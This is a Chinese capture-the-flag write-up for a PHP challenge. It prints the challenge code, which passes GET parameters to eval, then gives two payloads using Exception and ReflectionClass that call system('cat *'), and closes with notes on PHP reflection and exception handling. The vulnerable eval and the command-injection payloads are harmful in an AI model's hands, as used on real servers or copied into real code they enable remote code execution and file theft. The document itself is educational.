题目
题目源码如下:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
payload:
?v1=Exception&v2=system('cat *')
?v1=Reflectionclass&v2=system('cat *')
PHP的反射类ReflectionClass、ReflectionMethod
什么是php反射类,顾名思义,可以理解为一个类的映射。
官方文档里有很多可以调用的方法,我们可以通过这些方法获得一个类的属性、方法等信息。
使用getMethods(),获取fuc类的方法信息:
调用newInstance()来实例化fuc类,然后调用fuc类的函数hello
$class=new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc=$class->newInstance();//实例化 fuc 类
$fuc->hello();
PHP异常处理 Exception
用法的个人理解:先执行try里面的代码,如果有错误就用exception抛出一个错误,然后通过catch捕捉错误信息
例子:
<?php
// 创建一个有异常处理的函数
function checkNum($number)
{
if($number>1)
{
throw new Exception("变量值必须小于等于 1");
}
return true;
}
// 在 try 块 触发异常
try
{
checkNum(2);
// 如果抛出异常,以下文本不会输出
echo '如果输出该内容,说明 $number 变量';
}
// 捕获异常
catch(Exception $e)
{
echo 'Message: ' .$e->getMessage();
}
?>
上面代码将得到类似这样一个错误:Message: 变量值必须小于等于 1
实例解释:
上面的代码抛出了一个异常,并捕获了它:
1,创建 checkNum() 函数。它检测数字是否大于 1。如果是,则抛出一个异常。
2,在 “try” 代码块中调用 checkNum() 函数。
3,checkNum() 函数中的异常被抛出。
4,“catch” 代码块接收到该异常,并创建一个包含异常信息的对象 ($e)。
5,通过从这个 exception 对象调用 $e->getMessage(),输出来自该异常的错误消息。
然而,为了遵循 “每个 throw 必须对应一个 catch” 的原则,可以设置一个顶层的异常处理器来处理漏掉的错误。